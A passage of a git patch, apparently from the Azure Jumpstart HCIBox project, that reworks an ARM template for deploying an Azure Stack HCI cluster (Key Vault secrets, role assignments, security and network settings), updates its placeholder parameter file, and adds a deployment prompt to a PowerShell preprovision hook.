"arbDeploymentSPNObjectID": { + "type": "string", + "minLength": 1, + "metadata": { + "description": "ARB SPN's ObjectID" + } + }, + "hciResourceProviderObjectID": { + "type": "string", + "minLength": 1, + "metadata": { + "description": "Object ID of HCI Resource Provider" + } + }, + "arcNodeResourceIds": { + "defaultValue": [], + "type": "array", + "metadata": { + "description": "The arc for server node Ids of the hci cluster" + } + }, + "domainFqdn": { + "defaultValue": "", + "type": "string", + "metadata": { + "description": "The domain name of the Active Directory Domain Services" + } + }, + "namingPrefix": { + "defaultValue": "hci", + "type": "string", + "metadata": { + "description": "The object name prefix (for future use, post 2402)" + } + }, + "adouPath": { + "defaultValue": "", + "type": "string", + "metadata": { + "description": "The ADDS OU path" + } + }, + "securityLevel": { + "defaultValue": "Recommended", + "type": "string", + "allowedValues": [ + "Recommended", + "Customized" + ], + "metadata": { + "description": "The security level data for deploying a hci cluster" + } + }, + "driftControlEnforced": { + "defaultValue": true, + "type": "bool", + "allowedValues": [ + true, + false + ], + "metadata": { + "description": "The security setting driftControlEnforced data for deploying a hci cluster" + } + }, + "credentialGuardEnforced": { + "defaultValue": true, + "type": "bool", + "allowedValues": [ + true, + false + ], + "metadata": { + "description": "The security setting credentialGuardEnforced data for deploying a hci cluster" + } + }, + "smbSigningEnforced": { + "defaultValue": true, + "type": "bool", + "allowedValues": [ + true, + false + ], + "metadata": { + "description": "The security setting smbSigningEnforced data for deploying a hci cluster" + } + }, + "smbClusterEncryption": { + "defaultValue": false, + "type": "bool", + "allowedValues": [ + true, + false + ], + "metadata": { + "description": "The security setting smbClusterEncryption data for deploying a hci cluster" + } + }, + "bitlockerBootVolume": { + "defaultValue": true, + "type": "bool", + "allowedValues": [ + true, + false + ], + "metadata": { + "description": "The security setting bitlockerBootVolume data for deploying a hci cluster" + } + }, + "bitlockerDataVolumes": { + "defaultValue": true, + "type": "bool", + "allowedValues": [ + true, + false + ], + "metadata": { + "description": "The security setting bitlockerDataVolumes data for deploying a hci cluster" + } + }, + "wdacEnforced": { + "defaultValue": true, + "type": "bool", + "allowedValues": [ + true, + false + ], + "metadata": { + "description": "The security setting wdacEnforced data for deploying a hci cluster" + } + }, + "streamingDataClient": { + "defaultValue": true, + "type": "bool", + "allowedValues": [ + true, + false + ], + "metadata": { + "description": "The metrics data for deploying a hci cluster" + } + }, + "euLocation": { + "defaultValue": false, + "type": "bool", + "allowedValues": [ + true, + false + ], + "metadata": { + "description": "The location data for deploying a hci cluster" + } + }, + "episodicDataUpload": { + "defaultValue": true, + "type": "bool", + "allowedValues": [ + true, + false + ], + "metadata": { + "description": "The diagnostic data for deploying a hci cluster" + } + }, + "configurationMode": { + "defaultValue": "Express", + "type": "string", + "allowedValues": [ + "Express", + "InfraOnly", + "KeepStorage" + ], + "metadata": { + "description": "The storage volume configuration mode" + } + }, + "subnetMask": { + "defaultValue": "", + "type": "string", + "metadata": { + "description": "The subnet mask for deploying a hci cluster" + } + }, + "defaultGateway": { + "defaultValue": "", + "type": "string", + "metadata": { + "description": "The default gateway for deploying a hci cluster" + } + }, + "startingIPAddress": { + "defaultValue": "", + "type": "string", + "metadata": { + "description": "The starting ip address for deploying a hci cluster" + } + }, + "endingIPAddress": { + "defaultValue": "", + "type": "string", + "metadata": { + "description": "The ending ip address for deploying a hci cluster" + } + }, + "dnsServers": { + "defaultValue": [ + "" + ], + "type": "array", + "metadata": { + "description": "The dns servers for deploying a hci cluster" + } + }, + "useDhcp": { + "type": "bool", + "allowedValues": [ + true, + false + ], + "defaultValue": false, + "metadata": { + "description": "Allows customers to use DHCP for Hosts and Cluster IPs. If not declared, the deployment will default to static IPs. When true, GW and DNS servers are not required" + } + }, + "physicalNodesSettings": { + "defaultValue": [ + { + "name": "node1", + "ipv4Address": "100.69.32.64" + }, + { + "name": "node2", + "ipv4Address": "100.69.32.65" + } + ], + "type": "array", + "metadata": { + "description": "The physical nodes settings for deploying a hci cluster" + } + }, + "networkingType": { + "defaultValue": "switchedMultiServerDeployment", + "type": "string", + "allowedValues": [ + "switchedMultiServerDeployment", + "switchlessMultiServerDeployment", + "singleServerDeployment" + ], + "metadata": { + "description": "The networking type for deploying a hci cluster" + } + }, + "networkingPattern": { + "defaultValue": "hyperConverged", + "type": "string", + "allowedValues": [ + "hyperConverged", + "convergedManagementCompute", + "convergedComputeStorage", + "custom" + ], + "metadata": { + "description": "The networking pattern for deploying a hci cluster" + } + }, + "intentList": { + "defaultValue": [], + "type": "array", + "metadata": { + "description": "The intent list for deploying a hci cluster" + } + }, + "storageNetworkList": { + "defaultValue": [], + "type": "array", + "metadata": { + "description": "The storage network list for deploying a hci cluster" + } + }, + "storageConnectivitySwitchless": { + "defaultValue": false, + "type": "bool", + "metadata": { + "description": "The storage connectivity switchless value for deploying a hci cluster" + } + }, + "enableStorageAutoIp": { + "defaultvalue": true, + "type": "bool", + "metadata": { + "description": "The enable storage auto ip value for deploying a hci cluster" + } + }, + "customLocation": { + "defaultValue": "", + "type": "string", + "metadata": { + "description": "The custom location for deploying a hci cluster" + } + }, + "sbeVersion": { + "defaultValue": "", + "type": "string", + "metadata": { + "description": "Solution builder extension (SBE) version" + } + }, + "sbeFamily": { + "defaultValue": "", + "type": "string", + "metadata": { + "description": "Solution builder extension (SBE) family value" + } + }, + "sbePublisher": { + "defaultValue": "", + "type": "string", + "metadata": { + "description": "Solution builder extension (SBE) publisher name" + } + }, + "sbeManifestSource": { + "defaultValue": "", + "type": "string", + "metadata": { + "description": "Solution builder extension (SBE) manifest source" + } + }, + "sbeManifestCreationDate": { + "defaultValue": "", + "type": "string", + "metadata": { + "description": "Solution builder extension (SBE) creation date" + } + }, + "partnerProperties": { + "defaultValue": [], + "type": "array", + "metadata": { + "description": "Solution builder extension (SBE) partner properties" + } + }, + "partnerCredentiallist": { + "defaultValue": [], + "type": "array", + "metadata": { + "description": "Solution builder extension (SBE) partner credential properties" + } + } }, - "resources": [ - { - "type": "Microsoft.Storage/storageAccounts", - "apiVersion": "2021-01-01", - "name": "[parameters('diagnosticStorageAccountName')]", - "location": "[parameters('location')]", - "sku": { - "name": "[parameters('storageAccountType')]", - "tier": "Standard" - }, - "kind": "StorageV2", - "properties": { - "supportsHttpsTrafficOnly": true - } - }, - { - "type": "Microsoft.KeyVault/vaults", - "apiVersion": "2021-06-01-preview", - "name": "[parameters('keyVaultName')]", - "location": "[parameters('location')]", - "dependsOn": [ - "[resourceId('Microsoft.Storage/storageAccounts', parameters('diagnosticStorageAccountName'))]" - ], - "properties": { - "enabledForDeployment": true, - "enabledForTemplateDeployment": true, - "enabledForDiskEncryption": true, - "enableSoftDelete": true, - "softDeleteRetentionInDays": "[parameters('softDeleteRetentionDays')]", - "enableRbacAuthorization": true, - "publicNetworkAccess": "Enabled", - "accessPolicies": [], - "tenantId": "[parameters('tenantId')]", - "sku": { - "name": "standard", - "family": "A" - } - } - }, + "variables": { + "storageWitnessECEName": "WitnessStorageKey", + "LocalAdminCredentialECEName": "LocalAdminCredential", + "domainAdminCredentialECEName": "AzureStackLCMUserCredential", + "arbDeploymentSpnCredentialECEName": "DefaultARBApplication", + "storageWitnessSecretName": "[concat( parameters('clusterName'), '-', 'WitnessStorageKey')]", + "LocalAdminCredentialSecretName": "[concat( parameters('clusterName'), '-', 'LocalAdminCredential')]", + "domainAdminSecretName": "[concat( parameters('clusterName'), '-', 'AzureStackLCMUserCredential')]", + "arbDeploymentSpnSecretName": "[concat( parameters('clusterName'), '-', 'DefaultARBApplication')]", + "storageWitnessNameVar": "WitnessStorageKey", + "secretsLocationVar": "[concat('https://',parameters('keyVaultName'), '.vault.azure.net')]", + "witnessTypeVar": "[if(equals(parameters('witnessType'), 'No Witness'), '','Cloud')]", + "clusterWitnessStorageAccountNameVar": "[if(equals(parameters('witnessType'), 'No Witness'), '', parameters('clusterWitnessStorageAccountName'))]", + "AzureServiceEndpointVar": "[if(equals(parameters('witnessType'), 'No Witness'), '', 'core.windows.net')]", + "localAdminSecretValue": "[base64(concat(parameters('localAdminUserName'),':',parameters('localAdminPassword')))]", + "domainAdminSecretValueVar": "[base64(concat(parameters('AzureStackLCMAdminUsername'),':',parameters('AzureStackLCMAdminPassword')))]", + "arbDeploymentSpnValueVar": "[base64(concat(parameters('arbDeploymentAppID'),':',parameters('arbDeploymentAppSecret')))]", + "CloudWithnessStorageAccountIdVar": "[resourceId('Microsoft.Storage/storageAccounts', parameters('clusterWitnessStorageAccountName'))]", + "copy": [ { - "type": "Microsoft.KeyVault/vaults/providers/diagnosticsettings", - "name": "[concat(parameters('keyVaultName'), '/Microsoft.Insights/service')]", - "apiVersion": "2016-09-01", - "Location": "[resourceGroup().location]", - "dependsOn": [ - "[concat('Microsoft.KeyVault/vaults/', parameters('keyVaultName'))]", - "[concat('Microsoft.Storage/storageAccounts/', parameters('diagnosticStorageAccountName'))]" - ], - "properties": { - "storageAccountId": "[resourceId('Microsoft.Storage/storageAccounts', parameters('diagnosticStorageAccountName'))]", - "logs": [ - { - "category": "AuditEvent", - "enabled": true, - "retentionPolicy": { - "enabled": true, - "days": "[parameters('LogsRetentionInDays')]" - } - } - ] + "name": "answerfileSBESecrets", + "count": "[length(parameters('partnerCredentialList'))]", + "input": { + "secretName": "[parameters('partnerCredentialList')[copyIndex('answerfileSBESecrets')].secretName]", + "eceSecretName": "[parameters('partnerCredentialList')[copyIndex('answerfileSBESecrets')].secretName]", + "secretLocation": "[concat('https://', parameters('keyVaultName'), '.vault.azure.net/secrets/', parameters('partnerCredentialList')[copyIndex('answerfileSBESecrets')].secretName)]" } - }, + } + ], + "deploymentSecretsList":[ { - "condition": "[equals(parameters('deploymentMode'), 'Validate')]", - "type": "Microsoft.AzureStackHCI/clusters", - "apiVersion": "2023-08-01-preview", - "name": "[parameters('clusterName')]", - "dependsOn": [ - "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" - ], - "identity": { - "type": "SystemAssigned" - }, - "location": "[parameters('location')]", - "properties": { - } + "secretName": "[variables('storageWitnessSecretName')]", + "eceSecretName" : "[variables('storageWitnessECEName')]", + "secretLocation": "[concat('https://', parameters('keyVaultName'), '.vault.azure.net/secrets/', variables('storageWitnessSecretName'))]" }, { - "type": "Microsoft.KeyVault/vaults/secrets", - "apiVersion": "2021-06-01-preview", - "name": "[concat(parameters('keyVaultName'), '/', parameters('domainAdminSecretName'))]", - "dependsOn": [ - "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" - ], - "location": "[parameters('location')]", - "scale": null, - "properties": { - "contentType": "Secret", - "value": "[parameters('domainAdminSecretValue')]", - "attributes": { - "enabled": true - } - } + "secretName": "[variables('LocalAdminCredentialSecretName')]", + "eceSecretName" : "[variables('LocalAdminCredentialECEName')]", + "secretLocation": "[concat('https://', parameters('keyVaultName'), '.vault.azure.net/secrets/', variables('LocalAdminCredentialSecretName'))]" }, { - "type": "Microsoft.KeyVault/vaults/secrets", - "apiVersion": "2021-06-01-preview", - "name": "[concat(parameters('keyVaultName'), '/', parameters('localAdminSecretName'))]", - "dependsOn": [ - "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" - ], - "location": "[parameters('location')]", - "scale": null, - "properties": { - "contentType": "Secret", - "value": "[parameters('localAdminSecretValue')]", - "attributes": { - "enabled": true - } - } + "secretName": "[variables('domainAdminSecretName')]", + "eceSecretName" : "[variables('domainAdminCredentialECEName')]", + "secretLocation": "[concat('https://', parameters('keyVaultName'), '.vault.azure.net/secrets/', variables('domainAdminSecretName'))]" }, { - "type": "Microsoft.KeyVault/vaults/secrets", - "apiVersion": "2021-06-01-preview", - "name": "[concat(parameters('keyVaultName'), '/', parameters('arbDeploymentSpnName'))]", - "dependsOn": [ - "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" - ], - "location": "[parameters('location')]", - "scale": null, - "properties": { - "contentType": "Secret", - "value": "[parameters('arbDeploymentSpnValue')]", - "attributes": { - "enabled": true - } - } - }, - { - "type": "Microsoft.KeyVault/vaults/secrets", - "apiVersion": "2021-06-01-preview", - "name": "[concat(parameters('keyVaultName'), '/', parameters('storageWitnessName'))]", - "dependsOn": [ - "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" - ], - "location": "[parameters('location')]", - "scale": null, - "properties": { - "contentType": "Secret", - "value": "[parameters('storageWitnessValue')]", - "attributes": { - "enabled": true + "secretName": "[variables('arbDeploymentSpnSecretName')]", + "eceSecretName" : "[variables('arbDeploymentSpnCredentialECEName')]", + "secretLocation": "[concat('https://', parameters('keyVaultName'), '.vault.azure.net/secrets/', variables('arbDeploymentSpnSecretName'))]" + } + + ] + }, + "resources": [ + { + "type": "Microsoft.Storage/storageAccounts", + "apiVersion": "2023-01-01", + "name": "[parameters('clusterWitnessStorageAccountName')]", + "location": "[parameters('location')]", + "sku": { + "name": "[parameters('storageAccountType')]", + "tier": "Standard" + }, + "kind": "StorageV2", + "properties": { + "supportsHttpsTrafficOnly": true, + "minimumTlsVersion": "TLS1_2" + } + }, + { + "type": "Microsoft.Resources/deployments", + "apiVersion": "2021-04-01", + "name": "[concat('MOC-ARB-Role-Assignment',guid(concat('MOCARB-SPN-Subscription-Scope-Role-Assignment',resourceGroup().id,parameters('location'), parameters('arbDeploymentSPNObjectID'))))]", + "location": "[parameters('location')]", + "subscriptionId": "[subscription().subscriptionId]", + "properties": { + "mode": "Incremental", + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "parameters": {}, + "variables": {}, + "resources": [ + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(concat('ARB-', parameters('arbDeploymentSPNObjectID')))]", + "properties": { + "mode": "Incremental", + "roleDefinitionId": "[concat(subscription().id, '/providers/Microsoft.Authorization/roleDefinitions/', '7b1f81f9-4196-4058-8aae-762e593270df')]", + "principalId": "[parameters('arbDeploymentSPNObjectID')]" } - } - }, - { - "type": "microsoft.azurestackhci/clusters/deploymentSettings", - "apiVersion": "[parameters('apiVersion')]", - "name": "[format('{0}/default', parameters('clusterName'))]", - "dependsOn": [ - "[resourceId('Microsoft.AzureStackHCI/clusters', parameters('clusterName'))]" - ], - "properties": { - "arcNodeResourceIds": "[parameters('arcNodeResourceIds')]", - "deploymentMode": "[parameters('deploymentMode')]", - "deploymentConfiguration": { - "version": "10.0.0.0", - "scaleUnits": [ + } + ] + } + } + }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(concat('HCIRP-',resourceGroup().id, parameters('hciResourceProviderObjectID')))]", + "properties": { + "mode": "Incremental", + "roleDefinitionId": "[concat(subscription().id, '/providers/Microsoft.Authorization/roleDefinitions/', 'f5819b54-e033-4d82-ac66-4fec3cbf3f4c')]", + "principalId": "[parameters('hciResourceProviderObjectID')]", + "scope": "[resourceGroup().id]", + "description": "Azure Connected Machine Resource Manager role assignment to HCI Resource Provider" + } + }, + { + "copy": { + "name": "roleAssignmentCopy", + "count": "[length(parameters('arcNodeResourceIds'))]" + }, + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(concat('DMR-', parameters('arcNodeResourceIds')[copyIndex()]))]", + "properties": { + "mode": "Incremental", + "roleDefinitionId": "[concat(subscription().id, '/providers/Microsoft.Authorization/roleDefinitions/', '865ae368-6a45-4bd1-8fbf-0d5151f56fc1')]", + "principalId": "[reference(parameters('arcNodeResourceIds')[copyIndex()], '2023-10-03-preview', 'full').identity.principalId]", + "scope": "[resourceGroup().id]", + "description": "[concat(substring(parameters('arcNodeResourceIds')[copyIndex()],lastIndexOf(parameters('arcNodeResourceIds')[copyIndex()],'/')),'- Azure Stack HCI Device Management Role')]" + } + }, + { + "copy": { + "name": "roleAssignmentCopy", + "count": "[length(parameters('arcNodeResourceIds'))]" + }, + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(concat('KVSU-RoleAssign', parameters('arcNodeResourceIds')[copyIndex()]))]", + "properties": { + "mode": "Incremental", + "roleDefinitionId": "[concat(subscription().id, '/providers/Microsoft.Authorization/roleDefinitions/', '4633458b-17de-408a-b874-0445c86b69e6')]", + "principalId": "[reference(parameters('arcNodeResourceIds')[copyIndex()], '2023-10-03-preview', 'full').identity.principalId]", + "scope": "[resourceGroup().id]", + "description": "[concat(substring(parameters('arcNodeResourceIds')[copyIndex()],lastIndexOf(parameters('arcNodeResourceIds')[copyIndex()],'/')),'- Key Vault Secrets User')]" + } + }, + { + "copy": { + "name": "roleAssignmentCopy", + "count": "[length(parameters('arcNodeResourceIds'))]" + }, + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(concat('INFRAVM-RoleAssign', parameters('arcNodeResourceIds')[copyIndex()]))]", + "properties": { + "mode": "Incremental", + "roleDefinitionId": "[concat(subscription().id, '/providers/Microsoft.Authorization/roleDefinitions/', 'c99c945f8bd14fb1a90301460aae6068')]", + "principalId": "[reference(parameters('arcNodeResourceIds')[copyIndex()], '2023-10-03-preview', 'full').identity.principalId]", + "scope": "[resourceGroup().id]", + "description": "[concat(substring(parameters('arcNodeResourceIds')[copyIndex()],lastIndexOf(parameters('arcNodeResourceIds')[copyIndex()],'/')),'- Azure Stack HCI Connected InfraVMs')]" + } + }, + { + "type": "Microsoft.Storage/storageAccounts", + "apiVersion": "2023-01-01", + "name": "[parameters('diagnosticStorageAccountName')]", + "location": "[parameters('location')]", + "condition": "[parameters('createNewKeyVault')]", + "sku": { + "name": "[parameters('storageAccountType')]", + "tier": "Standard" + }, + "kind": "StorageV2", + "properties": { + "publicNetworkAccess": "Disabled", + "supportsHttpsTrafficOnly": true, + "minimumTlsVersion": "TLS1_2", + "networkAcls": { + "defaultAction": "Deny" + } + } + }, + { + "type": "Microsoft.KeyVault/vaults", + "apiVersion": "2021-06-01-preview", + "name": "[parameters('keyVaultName')]", + "location": "[parameters('location')]", + "condition": "[parameters('createNewKeyVault')]", + "dependsOn": [ + "[resourceId('Microsoft.Storage/storageAccounts', parameters('clusterWitnessStorageAccountName'))]", + "[resourceId('Microsoft.Storage/storageAccounts', parameters('diagnosticStorageAccountName'))]" + ], + "properties": { + "enabledForDeployment": true, + "enabledForTemplateDeployment": true, + "enabledForDiskEncryption": true, + "enableSoftDelete": false, + "softDeleteRetentionInDays": "[parameters('softDeleteRetentionDays')]", + "enableRbacAuthorization": true, + "publicNetworkAccess": "Enabled", + "accessPolicies": [], + "tenantId": "[parameters('tenantId')]", + "sku": { + "name": "standard", + "family": "A" + } + } + }, + { + "type": "Microsoft.KeyVault/vaults/providers/diagnosticsettings", + "name": "[concat(parameters('keyVaultName'), '/Microsoft.Insights/service')]", + "apiVersion": "2016-09-01", + "Location": "[resourceGroup().location]", + "condition": "[parameters('createNewKeyVault')]", + "dependsOn": [ + "[concat('Microsoft.KeyVault/vaults/', parameters('keyVaultName'))]", + "[concat('Microsoft.Storage/storageAccounts/', parameters('diagnosticStorageAccountName'))]" + ], + "properties": { + "storageAccountId": "[resourceId('Microsoft.Storage/storageAccounts', parameters('diagnosticStorageAccountName'))]", + "logs": [ + { + "category": "AuditEvent", + "enabled": true, + "retentionPolicy": { + "enabled": true, + "days": "[parameters('LogsRetentionInDays')]" + } + } + ] + } + }, + { + "condition": "[equals(parameters('deploymentMode'), 'Validate')]", + "type": "Microsoft.AzureStackHCI/clusters", + "apiVersion": "[parameters('apiVersion')]", + "name": "[parameters('clusterName')]", + "dependsOn": [ + "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" + ], + "identity": { + "type": "SystemAssigned" + }, + "location": "[parameters('location')]", + "properties": {} + }, + { + "type": "Microsoft.KeyVault/vaults/secrets", + "apiVersion": "2021-06-01-preview", + "name": "[concat(parameters('keyVaultName'), '/', variables('domainAdminSecretName'))]", + "dependsOn": [ + "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" + ], + "location": "[parameters('location')]", + "scale": null, + "properties": { + "contentType": "Secret", + "value": "[variables('domainAdminSecretValueVar')]", + "attributes": { + "enabled": true + } + } + }, + { + "type": "Microsoft.KeyVault/vaults/secrets", + "apiVersion": "2021-06-01-preview", + "name": "[concat(parameters('keyVaultName'), '/', variables('LocalAdminCredentialSecretName'))]", + "dependsOn": [ + "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" + ], + "location": "[parameters('location')]", + "scale": null, + "properties": { + "contentType": "Secret", + "value": "[variables('localAdminSecretValue')]", + "attributes": { + "enabled": true + } + } + }, + { + "type": "Microsoft.KeyVault/vaults/secrets", + "apiVersion": "2021-06-01-preview", + "name": "[concat(parameters('keyVaultName'), '/', variables('arbDeploymentSpnSecretName'))]", + "dependsOn": [ + "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" + ], + "location": "[parameters('location')]", + "scale": null, + "properties": { + "contentType": "Secret", + "value": "[variables('arbDeploymentSpnValueVar')]", + "attributes": { + "enabled": true + } + } + }, + { + "type": "Microsoft.KeyVault/vaults/secrets", + "apiVersion": "2021-06-01-preview", + "name": "[concat(parameters('keyVaultName'), '/', variables('storageWitnessSecretName'))]", + "dependsOn": [ + "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" + ], + "location": "[parameters('location')]", + "scale": null, + "properties": { + "contentType": "Secret", + "value": "[base64(listKeys(variables('CloudWithnessStorageAccountIdVar'), '2019-04-01').keys[0].value)]", + "attributes": { + "enabled": true + } + } + }, + { + "type": "Microsoft.KeyVault/vaults/secrets", + "apiVersion": "2021-06-01-preview", + "name": "[concat(parameters('keyVaultName'), '/', parameters('partnerCredentialList')[copyIndex()].secretName)]", + "dependsOn": [ + "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" + ], + "location": "[parameters('location')]", + "condition": "[not(empty(parameters('partnerCredentialList')))]", + "copy": { + "name": "partnerCredsLoop", + "count": "[length(parameters('partnerCredentialList'))]" + }, + "properties": { + "contentType": "Secret", + "value": "[base64(parameters('partnerCredentialList')[copyIndex()].secretValue)]", + "attributes": { + "enabled": true + } + } + }, + { + "type": "microsoft.azurestackhci/clusters/deploymentSettings", + "apiVersion": "[parameters('apiVersion')]", + "name": "[format('{0}/default', parameters('clusterName'))]", + "dependsOn": [ + "[resourceId('Microsoft.AzureStackHCI/clusters', parameters('clusterName'))]" + ], + "properties": { + "arcNodeResourceIds": "[parameters('arcNodeResourceIds')]", + "deploymentMode": "[parameters('deploymentMode')]", + "deploymentConfiguration": { + "version": "10.0.0.0", + "scaleUnits": [ + { + "deploymentData": { + "securitySettings": { + "hvciProtection": true, + "drtmProtection": true, + "driftControlEnforced": "[parameters('driftControlEnforced')]", + "credentialGuardEnforced": "[parameters('credentialGuardEnforced')]", + "smbSigningEnforced": "[parameters('smbSigningEnforced')]", + "smbClusterEncryption": "[parameters('smbClusterEncryption')]", + "sideChannelMitigationEnforced": true, + "bitlockerBootVolume": "[parameters('bitlockerBootVolume')]", + "bitlockerDataVolumes": "[parameters('bitlockerDataVolumes')]", + "wdacEnforced": "[parameters('wdacEnforced')]" + }, + "observability": { + "streamingDataClient": "[parameters('streamingDataClient')]", + "euLocation": "[parameters('euLocation')]", + "episodicDataUpload": "[parameters('episodicDataUpload')]" + }, + "cluster": { + "name": "[parameters('clusterName')]", + "witnessType": "[variables('witnessTypeVar')]", + "witnessPath": "", + "cloudAccountName": "[variables('clusterWitnessStorageAccountNameVar')]", + "azureServiceEndpoint": "[variables('AzureServiceEndpointVar')]" + }, + "storage": { + "configurationMode": "[parameters('configurationMode')]" + }, + "namingPrefix": "[parameters('namingPrefix')]", + "domainFqdn": "[parameters('domainFqdn')]", + "infrastructureNetwork": [ + { + "subnetMask": "[parameters('subnetMask')]", + "gateway": "[parameters('defaultGateway')]", + "ipPools": [ { - "deploymentData": { - "securitySettings": { - "hvciProtection": true, - "drtmProtection": true, - "driftControlEnforced": "[parameters('driftControlEnforced')]", - "credentialGuardEnforced": "[parameters('credentialGuardEnforced')]", - "smbSigningEnforced": "[parameters('smbSigningEnforced')]", - "smbClusterEncryption": "[parameters('smbClusterEncryption')]", - "sideChannelMitigationEnforced": true, - "bitlockerBootVolume": "[parameters('bitlockerBootVolume')]", - "bitlockerDataVolumes": "[parameters('bitlockerDataVolumes')]", - "wdacEnforced": "[parameters('wdacEnforced')]" - }, - "observability": { - "streamingDataClient": "[parameters('streamingDataClient')]", - "euLocation": "[parameters('euLocation')]", - "episodicDataUpload": "[parameters('episodicDataUpload')]" - }, - "cluster": { - "name": "[parameters('clusterName')]", - "witnessType": "Cloud", - "witnessPath": "", - "cloudAccountName": "[parameters('ClusterWitnessStorageAccountName')]", - "azureServiceEndpoint": "core.windows.net" - }, - "storage": { - "configurationMode": "[parameters('configurationMode')]" - }, - "namingPrefix": "[parameters('namingPrefix')]", - "domainFqdn": "[parameters('domainFqdn')]", - "infrastructureNetwork": [ - { - "subnetMask": "[parameters('subnetMask')]", - "gateway": "[parameters('defaultGateway')]", - "ipPools": [ - { - "startingAddress": "[parameters('startingIPAddress')]", - "endingAddress": "[parameters('endingIPAddress')]" - } - ], - "dnsServers": "[parameters('dnsServers')]" - } - ], - "physicalNodes": "[parameters('physicalNodesSettings')]", - "hostNetwork": { - "intents": "[parameters('intentList')]", - "storageNetworks": "[parameters('storageNetworkList')]", - "storageConnectivitySwitchless": "[parameters('storageConnectivitySwitchless')]" - }, - "adouPath": "[parameters('adouPath')]", - "secretsLocation": "[parameters('secretsLocation')]", - "optionalServices": { - "customLocation": "[parameters('customLocation')]" - } - } + "startingAddress": "[parameters('startingIPAddress')]", + "endingAddress": "[parameters('endingIPAddress')]" } - ] + ], + "dnsServers": "[parameters('dnsServers')]", + "useDhcp": "[parameters('useDhcp')]" + } + ], + "physicalNodes": "[parameters('physicalNodesSettings')]", + "hostNetwork": { + "intents": "[parameters('intentList')]", + "storageNetworks": "[parameters('storageNetworkList')]", + "storageConnectivitySwitchless": "[parameters('storageConnectivitySwitchless')]", + "enableStorageAutoIp": "[parameters('enableStorageAutoIp')]" + }, + "adouPath": "[parameters('adouPath')]", + "secrets": "[variables('deploymentSecretsList')]", + "optionalServices": { + "customLocation": "[parameters('customLocation')]" + } + }, + "sbePartnerInfo": { + "sbeDeploymentInfo": { + "version": "[parameters('sbeVersion')]", + "family": "[parameters('sbeFamily')]", + "publisher": "[parameters('sbePublisher')]", + "sbeManifestSource": "[parameters('sbeManifestSource')]", + "sbeManifestCreationDate": "[if(not(empty(parameters('sbeManifestCreationDate'))), parameters('sbeManifestCreationDate'), json('null'))]" + }, + "partnerProperties": "[parameters('partnerProperties')]", + "credentialList": "[variables('answerfileSBESecrets')]" } - } + } + ] + } } + } ] -} \ No newline at end of file + } \ No newline at end of file diff --git a/azure_jumpstart_hcibox/artifacts/hci.parameters.json b/azure_jumpstart_hcibox/artifacts/hci.parameters.json index 0ee2983ffb..fef281d9b1 100644 --- a/azure_jumpstart_hcibox/artifacts/hci.parameters.json +++ b/azure_jumpstart_hcibox/artifacts/hci.parameters.json @@ -2,8 +2,8 @@ "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", "contentVersion": "1.0.0.0", "parameters": { - "apiVersion": { - "value": "2023-08-01-preview" + "witnessType": { + "value": "Cloud" }, "clusterName": { "value": "clusterName-staging" @@ -11,14 +11,32 @@ "arcNodeResourceIds": { "value": arcNodeResourceIds-staging }, - "localAdminSecretValue": { - "value": "localAdminSecretValue-staging" + "localAdminUserName": { + "value": "localAdminUserName-staging" + }, + "localAdminPassword": { + "value": "localAdminPassword-staging" + }, + "AzureStackLCMAdminUsername": { + "value": "AzureStackLCMAdminUserName-staging" + }, + "AzureStackLCMAdminPassword": { + "value": "AzureStackLCMAdminAdminPassword-staging" }, "domainAdminSecretValue": { "value": "domainAdminSecretValue-staging" }, - "arbDeploymentSpnValue": { - "value": "arbDeploymentSpnValue-staging" + "arbDeploymentAppId": { + "value": "arbDeploymentAppId-staging" + }, + "arbDeploymentAppSecret": { + "value": "arbDeploymentAppSecret-staging" + }, + "arbDeploymentSPNObjectID": { + "value": "arbDeploymentSPNObjectID-staging" + }, + "hciResourceProviderObjectID": { + "value": "hciResourceProviderObjectID-staging" }, "storageWitnessValue": { "value": "storageWitnessValue-staging" From a1368a45f4facc1b977962b488d43819fe08fba5 Mon Sep 17 00:00:00 2001 From: dkirby-ms Date: Wed, 21 Aug 2024 21:11:51 -0500 Subject: [PATCH 502/506] update --- azure_jumpstart_hcibox/hooks/preprovision.ps1 | 27 +++++++++++++++++++ azure_jumpstart_hcibox/hooks/preprovision.sh | 26 ++++++++++++++++++ 2 files changed, 53 insertions(+) diff --git a/azure_jumpstart_hcibox/hooks/preprovision.ps1 b/azure_jumpstart_hcibox/hooks/preprovision.ps1 index 57d1d58987..7626f0d5fe 100644 --- a/azure_jumpstart_hcibox/hooks/preprovision.ps1 +++ b/azure_jumpstart_hcibox/hooks/preprovision.ps1 @@ -185,6 +185,33 @@ $spnProviderId=$(az ad sp list --display-name "Microsoft.AzureStackHCI" --output throw "Microsoft.AzureStackHCI provider id not found" } + +######################################################################## +# Automatically deploy cluster? +######################################################################## +$promptOutput = Read-Host "Configure automatic Azure Stack HCI cluster validation and creation? [Y/N] " +$JS_AUTO_DEPLOY_CLUSTER_RESOURCE = $false +if ($promptOutput -like 'y') +{ + $JS_AUTO_DEPLOY_CLUSTER_RESOURCE = $true +} + +# set the env variable +azd env set JS_AUTO_DEPLOY_CLUSTER_RESOURCE $JS_AUTO_DEPLOY_CLUSTER_RESOURCE + +######################################################################## +# Automatically upgrade cluster? +######################################################################## +$promptOutput = Read-Host "Automatically download and 